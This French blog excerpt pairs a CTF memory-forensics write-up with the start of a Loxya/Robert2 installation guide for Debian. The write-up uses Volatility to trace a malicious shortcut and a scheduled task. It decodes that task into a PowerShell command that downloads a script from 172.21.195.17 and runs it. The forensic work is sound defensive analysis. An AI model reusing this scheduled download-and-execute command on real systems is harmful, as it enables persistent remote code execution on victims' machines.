<p>Avant de commencer l&rsquo;investigation en elle-même, il est important de déterminer l&rsquo;OS du PC.</p>
<h3 id="déterminer-los">Déterminer l&rsquo;OS</h3>
<p>On va commencer par vérifier si le PC tourne sous Windows, car c&rsquo;est l&rsquo;OS plus courant (en CTF comme dans la réalité).</p>
<p>On utilise alors la commande <code>windows.info</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo vol -f dump.raw windows.info
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Volatility <span class="m">3</span> Framework 2.5.2
</span></span><span class="line"><span class="cl">Progress:  100.00               PDB scanning finished                                                                                              
</span></span><span class="line"><span class="cl">Variable        Value
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Kernel Base     0xf80479000000
</span></span><span class="line"><span class="cl">DTB     0x1aa000
</span></span><span class="line"><span class="cl">Symbols file:///usr/lib/python3.12/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/C7DF30B22252078525B414CC51B257D3-1.json.xz
</span></span><span class="line"><span class="cl">Is64Bit True
</span></span><span class="line"><span class="cl">IsPAE   False
</span></span><span class="line"><span class="cl">layer_name      <span class="m">0</span> WindowsIntel32e
</span></span><span class="line"><span class="cl">memory_layer    <span class="m">1</span> FileLayer
</span></span><span class="line"><span class="cl">KdVersionBlock  0xf80479c0f400
</span></span><span class="line"><span class="cl">Major/Minor     15.19041
</span></span><span class="line"><span class="cl">MachineType     <span class="m">34404</span>
</span></span><span class="line"><span class="cl">KeNumberProcessors      <span class="m">6</span>
</span></span><span class="line"><span class="cl">SystemTime      2024-06-07 19:33:51
</span></span><span class="line"><span class="cl">NtSystemRoot    C:<span class="se">\W</span>indows
</span></span><span class="line"><span class="cl">NtProductType   NtProductWinNt
</span></span><span class="line"><span class="cl">NtMajorVersion  <span class="m">10</span>
</span></span><span class="line"><span class="cl">NtMinorVersion  <span class="m">0</span>
</span></span><span class="line"><span class="cl">PE MajorOperatingSystemVersion  <span class="m">10</span>
</span></span><span class="line"><span class="cl">PE MinorOperatingSystemVersion  <span class="m">0</span>
</span></span><span class="line"><span class="cl">PE Machine      <span class="m">34404</span>
</span></span><span class="line"><span class="cl">PE TimeDateStamp        Thu Apr <span class="m">13</span> 14:51:37 <span class="m">2062</span>
</span></span></code></pre></div><p>On apprend alors que le PC est sous Windows 10 ainsi que d&rsquo;autres informations comme la date système (donc du dump), etc.</p>
<p>Si cette commande n&rsquo;avait rien donné on aurait pu essayer d&rsquo;extraire une bannière Linux avec la commande <code>banners</code>.</p>
<h3 id="extraction-des-objets-courants">Extraction des objets courants</h3>
<p>Maintenant que nous sommes certain de l&rsquo;OS utilisé, on va pouvoir commencer l&rsquo;analyse, afin de me faciliter la tâche pour plus tard, j&rsquo;extrais le résultat de <code>filescan</code>, <code>cmdline</code>, <code>pstree</code> et <code>netscan</code> dans des fichiers.</p>
<pre tabindex="0"><code>sudo vol -f dump.raw windows.filescan &gt; filescan
sudo vol -f dump.raw windows.cmdline &gt; cmdline
sudo vol -f dump.raw windows.pstree &gt; pstree
sudo vol -f dump.raw windows.netscan &gt; netscan
</code></pre><p>Cela me permet de gagner en rapidité en faisant un <code>grep</code> dans le fichier plutôt que de lancer une extraction à chaque fois.</p>
<h3 id="flag-13---raccourcis-malveillant">Flag 1/3 - Raccourcis malveillant</h3>
<p>La première partie du flag est le nom du raccourcis malveillant, sur Windows, les raccourcis ont comme extension <code>.lnk</code>, c&rsquo;est donc ce que je vais chercher dans le fichier <code>filescan</code> créé précédemment:</p>
<pre tabindex="0"><code>cat filescan | grep &#34;.lnk&#34;
0xa70451a45a80  \Users\clara\Downloads\Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024\Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk  216
0xa7045384fe90  \Users\clara\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk       216
</code></pre><p>Tiens, un raccourcis en .pdf.lnk dans le dossier <strong>Downloads</strong> !</p>
<p>On a maintenant la première partie du flag: <strong>Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk</strong></p>
<p>On peut essayer de l&rsquo;extraire et voir ou il mène (avec <a href="https://github.com/Matmaus/LnkParse3">LnkParse3</a> sous Linux) mais il n&rsquo;y a pas de lien de redirection dans le fichier.</p>
<h3 id="flag-23---tâche-planifiée">Flag 2/3 - Tâche planifiée</h3>
<p>Les tâches planifiées sous Windows ne sont pas présentes sous forme de fichier mais dans les registres aux adresses suivantes:</p>
<pre tabindex="0"><code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tree
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tasks
</code></pre><p>Le premier registre contient la <strong>liste</strong> des tâches planifiées et le second leur <strong>contenu</strong> (Actions, Author, URL, Trigger, etc).</p>
<p>On va donc afficher la liste des ruches disponibles avec la commande <code>windows.registry.hivelist</code>:</p>
<pre tabindex="0"><code>sudo vol -f dump.raw windows.registry.hivelist

Volatility 3 Framework 2.5.2
Progress:  100.00               PDB scanning finished                        
Offset  FileFullPath    File output

0xb9044f873000          Disabled
0xb9044f889000  \REGISTRY\MACHINE\SYSTEM        Disabled
0xb9044fc80000  \REGISTRY\MACHINE\HARDWARE      Disabled
0xb90450c50000  \SystemRoot\System32\Config\SECURITY    Disabled
0xb90450c52000  \SystemRoot\System32\Config\SAM Disabled
0xb90450c56000  \SystemRoot\System32\Config\DEFAULT     Disabled
0xb90450c0f000  \SystemRoot\System32\Config\SOFTWARE    Disabled
0xb9045317d000  \Device\HarddiskVolume1\Boot\BCD        Disabled
0xb9045c3b6000  \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT        Disabled
0xb90453321000  \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT  Disabled
0xb90453323000  \SystemRoot\System32\Config\BBI Disabled
0xb90454d3d000  \??\C:\Windows\AppCompat\Programs\Amcache.hve   Disabled
0xb90454e10000  \??\C:\Users\clara\ntuser.dat   Disabled
0xb90454e20000  \??\C:\Users\clara\AppData\Local\Microsoft\Windows\UsrClass.dat Disabled
0xb90456305000  \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.19053.1000.0_x64__cw5n1h2txyewy\ActivationStore.dat        Disabled
0xb904561ee000  \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.19041.3636_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat Disabled
0xb904561e1000  \??\C:\Users\clara\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat Disabled
0xb90456571000  \??\C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Search_1.14.10.19041_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat    Disabled
0xb9045657c000  \??\C:\Users\clara\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\Settings\settings.dat  Disabled
...
</code></pre><p>On en a pas mal mais celle qui nous intéresse est la <strong>Software</strong> (<code>0xb90450c0f000  \SystemRoot\System32\Config\SOFTWARE</code>).</p>
<p>On va donc naviguer à travers cette dernière jusqu&rsquo;a arriver à l&rsquo;adresse <strong>&hellip;\TaskCache\Tree</strong>, qui contient la liste des tâches planifiées, pour ensuite afficher ses clés:</p>
<pre tabindex="0"><code>sudo vol -f dump.raw windows.registry.printkey.PrintKey --offset 0xb90450c0f000 --key &#39;Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree&#39;

Volatility 3 Framework 2.5.2
Progress:  100.00               PDB scanning finished                        
Last Write Time Hive Offset     Type    Key     Name    Data    Volatile

2024-06-07 19:30:24.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        IGotYourFileInfo                False
2019-12-07 09:18:13.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        Microsoft               False
2023-12-04 20:41:13.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        MicrosoftEdgeUpdateTaskMachineCore              False
2023-12-04 20:41:13.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        MicrosoftEdgeUpdateTaskMachineUA                False
2024-01-11 20:51:18.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        npcapwatchdog           False
2023-12-04 20:50:33.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        OneDrive Reporting Task-S-1-5-21-1569816960-1500504362-1823058107-1000            False
2024-06-05 20:33:34.000000      0xb90450c0f000  Key     \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        OneDrive Standalone Update Task-S-1-5-21-1569816960-1500504362-1823058107-1000            False
2024-06-07 19:30:24.000000      0xb90450c0f000  REG_BINARY      \SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree        SD      &#34;
...
</code></pre><p>Le décalage indiqué avec <code>--offset</code> correspond à l&rsquo;adresse de la ruche <code>\SystemRoot\System32\Config\SOFTWARE</code> comme vu plus haut.</p>
<p>On a une tâche qui saute aux yeux, il s&rsquo;agit de <strong>IGotYourFileInfo</strong>, c&rsquo;est la deuxième partie du flag.</p>
<h3 id="flag-33---script">Flag 3/3 - Script</h3>
<p>Pour la dernière partie du flag, il faut trouver le nom du script lancé par la tâche planifiée <strong>IGotYourFileInfo</strong>.</p>
<p>Comme vu plus haut, le registre <strong>Tree</strong> stock la liste des tâches planifiées, chaque tâche à une sous-clé ID (par exemple <strong>{6078ADB5-6D31-4965-AC02-A716F3DC7ADB}</strong>) qui permet de l&rsquo;identifier dans le registre <strong>Tasks</strong>.</p>
<p>Malheureusement l&rsquo;extraction des sous-clés de la tâche avec la commande <code>sudo vol -f dump.raw windows.registry.printkey.PrintKey --offset 0xb90450c0f000 --key 'Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\IGotYourFileInfo'</code> ne donne rien, j&rsquo;ai donc du extraire toutes les clés et sous clés du registre <strong>Tasks</strong> avec la fonction <strong>recurse</strong> dans un fichier et l&rsquo;analyser à la main.</p>
<p>Pour faire ça, j&rsquo;ai utilisé la commande suivante: <code>sudo vol -f dump.raw windows.registry.printkey.PrintKey --offset 0xb90450c0f000 --key 'Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks' --recurse &gt; printkey</code>.</p>
<p>Ensuite, il faut ouvrir le fichier <strong>printkey</strong> dans une éditeur de texte et rechercher la tâche <strong>IGotYourFileInfo</strong>, ce qui nous donne tout ça:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">2024-06-07 19:30:25.000000 	0xb90450c0f000	Key	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks	{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}		False
</span></span><span class="line"><span class="cl">* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_SZ	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Path	&#34;\IGotYourFileInfo&#34;	False
</span></span><span class="line"><span class="cl">* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_BINARY	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Hash	&#34;
</span></span><span class="line"><span class="cl">86 0f fd 71 5f 13 18 7a	...q_..z
</span></span><span class="line"><span class="cl">33 f3 ad 14 d2 54 f2 c5	3....T..
</span></span><span class="line"><span class="cl">ae c4 22 6f 15 ac 09 c4	..&#34;o....
</span></span><span class="line"><span class="cl">bf ac 99 88 be 18 ce c7	........&#34;	False
</span></span><span class="line"><span class="cl">* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_DWORD	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Schema	65538	False
</span></span><span class="line"><span class="cl">* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_SZ	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Date	&#34;2024-06-07T21:30:24&#34;	False
</span></span><span class="line"><span class="cl">* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_SZ	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Author	&#34;DEANGILMOR\clara&#34;	False
</span></span><span class="line"><span class="cl">* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_SZ	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	URI	&#34;\IGotYourFileInfo&#34;	False
</span></span><span class="line"><span class="cl">* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_BINARY	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Triggers	&#34;
</span></span><span class="line"><span class="cl">17 00 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">01 07 06 00 00 00 07 00	........
</span></span><span class="line"><span class="cl">00 fc cc d9 21 b9 da 01	....!...
</span></span><span class="line"><span class="cl">00 07 06 00 00 00 07 00	........
</span></span><span class="line"><span class="cl">ff ff ff ff ff ff ff ff	........
</span></span><span class="line"><span class="cl">38 21 41 42 48 48 48 48	8!ABHHHH
</span></span><span class="line"><span class="cl">09 df 08 16 48 48 48 48	....HHHH
</span></span><span class="line"><span class="cl">0e 00 00 00 48 48 48 48	....HHHH
</span></span><span class="line"><span class="cl">41 00 75 00 74 00 68 00	A.u.t.h.
</span></span><span class="line"><span class="cl">6f 00 72 00 00 00 48 48	o.r...HH
</span></span><span class="line"><span class="cl">00 00 00 00 48 48 48 48	....HHHH
</span></span><span class="line"><span class="cl">00 48 48 48 48 48 48 48	.HHHHHHH
</span></span><span class="line"><span class="cl">00 48 48 48 48 48 48 48	.HHHHHHH
</span></span><span class="line"><span class="cl">01 00 00 00 48 48 48 48	....HHHH
</span></span><span class="line"><span class="cl">1c 00 00 00 48 48 48 48	....HHHH
</span></span><span class="line"><span class="cl">01 05 00 00 00 00 00 05	........
</span></span><span class="line"><span class="cl">15 00 00 00 80 81 91 5d	.......]
</span></span><span class="line"><span class="cl">2a e1 6f 59 bb a8 a9 6c	*.oY...l
</span></span><span class="line"><span class="cl">e8 03 00 00 48 48 48 48	....HHHH
</span></span><span class="line"><span class="cl">22 00 00 00 48 48 48 48	&#34;...HHHH
</span></span><span class="line"><span class="cl">44 00 45 00 41 00 4e 00	D.E.A.N.
</span></span><span class="line"><span class="cl">47 00 49 00 4c 00 4d 00	G.I.L.M.
</span></span><span class="line"><span class="cl">4f 00 52 00 5c 00 63 00	O.R.\.c.
</span></span><span class="line"><span class="cl">6c 00 61 00 72 00 61 00	l.a.r.a.
</span></span><span class="line"><span class="cl">00 00 48 48 48 48 48 48	..HHHHHH
</span></span><span class="line"><span class="cl">2c 00 00 00 48 48 48 48	,...HHHH
</span></span><span class="line"><span class="cl">58 02 00 00 10 0e 00 00	X.......
</span></span><span class="line"><span class="cl">80 f4 03 00 ff ff ff ff	........
</span></span><span class="line"><span class="cl">07 00 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">00 00 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">00 00 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">00 00 00 00 48 48 48 48	....HHHH
</span></span><span class="line"><span class="cl">dd dd 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">01 07 06 00 00 00 07 00	........
</span></span><span class="line"><span class="cl">00 fc cc d9 21 b9 da 01	....!...
</span></span><span class="line"><span class="cl">00 00 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">00 00 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">00 00 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">00 00 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">10 0e 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">ff ff ff ff 00 00 00 00	........
</span></span><span class="line"><span class="cl">00 00 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">00 01 5a 2b 01 00 00 00	..Z+....
</span></span><span class="line"><span class="cl">00 00 00 00 9f 68 00 00	.....h..
</span></span><span class="line"><span class="cl">00 00 00 00 48 48 48 48	....HHHH&#34;	False
</span></span><span class="line"><span class="cl">* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_BINARY	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	Actions	&#34;
</span></span><span class="line"><span class="cl">03 00 0c 00 00 00 41 00	......A.
</span></span><span class="line"><span class="cl">75 00 74 00 68 00 6f 00	u.t.h.o.
</span></span><span class="line"><span class="cl">72 00 66 66 00 00 00 00	r.ff....
</span></span><span class="line"><span class="cl">22 00 00 00 49 00 6e 00	&#34;...I.n.
</span></span><span class="line"><span class="cl">76 00 6f 00 6b 00 65 00	v.o.k.e.
</span></span><span class="line"><span class="cl">2d 00 57 00 65 00 62 00	-.W.e.b.
</span></span><span class="line"><span class="cl">52 00 65 00 71 00 75 00	R.e.q.u.
</span></span><span class="line"><span class="cl">65 00 73 00 74 00 f4 00	e.s.t...
</span></span><span class="line"><span class="cl">00 00 2d 00 55 00 72 00	..-.U.r.
</span></span><span class="line"><span class="cl">69 00 20 00 68 00 74 00	i...h.t.
</span></span><span class="line"><span class="cl">74 00 70 00 3a 00 2f 00	t.p.:./.
</span></span><span class="line"><span class="cl">2f 00 31 00 37 00 32 00	/.1.7.2.
</span></span><span class="line"><span class="cl">2e 00 32 00 31 00 2e 00	..2.1...
</span></span><span class="line"><span class="cl">31 00 39 00 35 00 2e 00	1.9.5...
</span></span><span class="line"><span class="cl">31 00 37 00 3a 00 35 00	1.7.:.5.
</span></span><span class="line"><span class="cl">30 00 30 00 30 00 2f 00	0.0.0./.
</span></span><span class="line"><span class="cl">48 00 6f 00 6c 00 6d 00	H.o.l.m.
</span></span><span class="line"><span class="cl">65 00 73 00 2f 00 47 00	e.s./.G.
</span></span><span class="line"><span class="cl">65 00 74 00 46 00 69 00	e.t.F.i.
</span></span><span class="line"><span class="cl">6c 00 65 00 49 00 6e 00	l.e.I.n.
</span></span><span class="line"><span class="cl">66 00 6f 00 2e 00 70 00	f.o...p.
</span></span><span class="line"><span class="cl">73 00 31 00 20 00 2d 00	s.1...-.
</span></span><span class="line"><span class="cl">4f 00 75 00 74 00 46 00	O.u.t.F.
</span></span><span class="line"><span class="cl">69 00 6c 00 65 00 20 00	i.l.e...
</span></span><span class="line"><span class="cl">47 00 65 00 74 00 46 00	G.e.t.F.
</span></span><span class="line"><span class="cl">69 00 6c 00 65 00 73 00	i.l.e.s.
</span></span><span class="line"><span class="cl">49 00 6e 00 66 00 6f 00	I.n.f.o.
</span></span><span class="line"><span class="cl">2e 00 70 00 73 00 31 00	..p.s.1.
</span></span><span class="line"><span class="cl">20 00 3b 00 20 00 53 00	..;...S.
</span></span><span class="line"><span class="cl">74 00 61 00 72 00 74 00	t.a.r.t.
</span></span><span class="line"><span class="cl">2d 00 50 00 72 00 6f 00	-.P.r.o.
</span></span><span class="line"><span class="cl">63 00 65 00 73 00 73 00	c.e.s.s.
</span></span><span class="line"><span class="cl">20 00 2d 00 46 00 69 00	..-.F.i.
</span></span><span class="line"><span class="cl">6c 00 65 00 50 00 61 00	l.e.P.a.
</span></span><span class="line"><span class="cl">74 00 68 00 20 00 47 00	t.h...G.
</span></span><span class="line"><span class="cl">65 00 74 00 46 00 69 00	e.t.F.i.
</span></span><span class="line"><span class="cl">6c 00 65 00 73 00 49 00	l.e.s.I.
</span></span><span class="line"><span class="cl">6e 00 66 00 6f 00 2e 00	n.f.o...
</span></span><span class="line"><span class="cl">70 00 73 00 31 00 00 00	p.s.1...&#34;	False
</span></span><span class="line"><span class="cl">* 2024-06-07 19:30:25.000000 	0xb90450c0f000	REG_BINARY	\SystemRoot\System32\Config\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0669B1EB-ED96-4F61-802F-AB93D8FD0D30}	DynamicInfo	&#34;
</span></span><span class="line"><span class="cl">03 00 00 00 fd 09 2f 25	....../%
</span></span><span class="line"><span class="cl">11 b9 da 01 00 00 00 00	........
</span></span><span class="line"><span class="cl">00 00 00 00 00 00 00 00	........
</span></span><span class="line"><span class="cl">00 00 00 00 00 00 00 00	........&#34;	False
</span></span><span class="line"><span class="cl">...
</span></span></code></pre></div><p>On retrouve les différents champs, correspondant aux sous-clés de registre tel que URL, Trigger, Author, etc. Qui sont bien présents si on regarde dans <strong>regedit</strong>.</p>
<p>Ce qui nous intéresse ici est la sous-clé <strong>Actions</strong>, sous cette dernière on retrouve l&rsquo;appel du script en hexadécimal, un passage dans cyberchef plus tard on obtient ça:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ps1" data-lang="ps1"><span class="line"><span class="cl"><span class="n">Authorff</span><span class="s2">&#34;Invoke-WebRequest-Uri http://172.21.195.17:5000/Holmes/GetFileInfo.ps1 -OutFile GetFilesInfo.ps1 ; Start-Process -FilePath GetFilesInfo.ps1
</span></span></span></code></pre></div><p>Le nom du script est <strong>GetFilesInfo.ps1</strong>.</p>
<hr>
<h2 id="flag">Flag</h2>
<p>En regroupant les 3 informations, le flag est: <strong>SHLK{Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk-IGotYourFileInfo-GetFilesInfo.ps1}</strong>.</p>
<hr>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet">https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet</a></li>
<li><a href="https://volatility3.readthedocs.io/en/stable/volatility3.plugins.banners.html">https://volatility3.readthedocs.io/en/stable/volatility3.plugins.banners.html</a></li>
<li><a href="https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder">https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder</a></li>
<li><a href="https://fr.wikipedia.org/wiki/.lnk">https://fr.wikipedia.org/wiki/.lnk</a></li>
</ul>
]]></content></item><item><title>Installation de Loxya(Robert2)</title><link>https://0xonirix.fr/posts/installation_robert2/installation_robert2/</link><pubDate>Mon, 08 Jul 2024 16:04:20 +0200</pubDate><guid>https://0xonirix.fr/posts/installation_robert2/installation_robert2/</guid><description>%!s(&lt;nil>)</description><content type="html"><![CDATA[
    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2"><path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path></svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Cet installation a été réalisée sur Debian 12</div>
    </aside>
<h2 id="préambule">Préambule</h2>
<p>Loxya(Robert2) est un serveur de gestion et suivis d&rsquo;inventaire.</p>
<p>La version gratuite est open-source et comprend les fonctions suivantes:</p>
<ul>
<li>Gestion du stock</li>
<li>Gestion des sorties</li>
<li>Calendrier</li>
<li>Gestion des clients et emprunteurs</li>
<li>Gestion du personnel</li>
<li>Edition de fiches de sorties, devis et factures</li>
</ul>
<p>Ce qu&rsquo;elle ne comprend PAS:</p>
<ul>
<li>Authentification LDAP (ou tout autre centralisation d&rsquo;authentification)</li>
<li>Demande de réservation en ligne</li>
<li>Scanner de code barre</li>
<li>Assistance Loxya</li>
</ul>
<hr>
<h2 id="installation">Installation</h2>
<hr>
<h3 id="installer-les-dépendances">Installer les dépendances</h3>
<p>Robert 2 a besoin d&rsquo;un serveur Web (ici Apache2), une base de données (ici MariaDB) et de certains modules PHP (version minimum supportée: php 8.0):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo apt install apache2 mariadb-server zip php libapache2-mod-php php-bcmath php-curl php-php-gettext php-intl php-mbstring php-xml php-bcmath php-mysql w3m -y
</span></span></code></pre></div><hr>
<h3 id="base-de-données">Base de données</h3>
<p>Robert2 est compatible uniquement <strong>MYSQL</strong> ou <strong>MariaDB</strong> pour stocker ses données, je vais ici utiliser MariaDB et la configurer.</p>
<h4 id="installation-sécurisée-de-mariadb">Installation sécurisée de MariaDB</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"> sudo mysql_secure_installation
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> Enter current password <span class="k">for</span> root <span class="o">(</span>enter <span class="k">for</span> none<span class="o">)</span>: MotDePasseRoot
</span></span><span class="line"><span class="cl"> Switch to unix_socket authentication <span class="o">[</span>Y/n<span class="o">]</span> n
</span></span><span class="line"><span class="cl"> Remove anonymous users? <span class="o">[</span>Y/n<span class="o">]</span> y
</span></span><span class="line"><span class="cl"> Disallow root login remotely? <span class="o">[</span>Y/n<span class="o">]</span> y
</span></span><span class="line"><span class="cl"> Remove <span class="nb">test</span> database and access to it? <span class="o">[</span>Y/n<span class="o">]</span> y
</span></span><span class="line"><span class="cl"> Reload privilege tables now? <span class="o">[</span>Y/n<span class="o">]</span> y
</span></span></code></pre></div><h4 id="création-de-la-base-de-données">Création de la base de données</h4>
<ul>
<li>Se connecter à MariaDB : <code>sudo mysql -u root -p</code></li>
<li>Créer une base de donnée: <code>CREATE DATABASE robert2_db;</code></li>
<li>Créer un utilisateur autre que root: <code>CREATE USER 'robert2'@'localhost' IDENTIFIED BY 'motdepasse';</code></li>
<li>Donner tous les droits à l&rsquo;utilisateur sur la base de données <code>GRANT ALL PRIVILEGES ON robert2_db.* TO 'robert2'@'localhost';</code></li>
<li>Recharger les privilèges: <code>FLUSH PRIVILEGES;</code></li>
<li>Fermer la connexion: <code>quit;</code></li>
</ul>
<p>Modifier le fichier <code>/etc/mysql/my.cnf</code> en ajoutant les lignes suivantes:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="o">[</span>client-server<span class="o">]</span>
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">default-character-set<span class="o">=</span>utf8mb4
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span>mysqld<span class="o">]</span>
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">collation-server <span class="o">=</span> utf8mb4_unicode_ci
</span></span></code></pre></div><hr>
<h3 id="serveur-web">Serveur Web</h3>
<p>Robert2 nécessite un serveur Web pour fonctionner, il ne supporte que <strong>NGINX</strong> et <strong>Apache2</strong>, je vais ici utiliser ce dernier.</p>
<h4 id="http">HTTP</h4>

    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg></div><b>Avertissement</b>
        </div>
        <div class="admonition-content">Il est fortemment déconseillé de déployer le serveur en HTTP en production</div>
    </aside>
<p>Créer et modifier le fichier <code>/etc/apache2/sites-available/robert2.mydomain.local.conf</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">&lt;VirtualHost *:80&gt;
</span></span><span class="line"><span class="cl">        ServerAdmin admin@mydomain.local
</span></span><span class="line"><span class="cl">        ServerName robert2.mydomain.local
</span></span><span class="line"><span class="cl">        ServerAlias www.robert2.mydomain.local
</span></span><span class="line"><span class="cl">        DocumentRoot /var/www/Robert2
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        ErrorLog <span class="si">${</span><span class="nv">APACHE_LOG_DIR</span><span class="si">}</span>/error.log
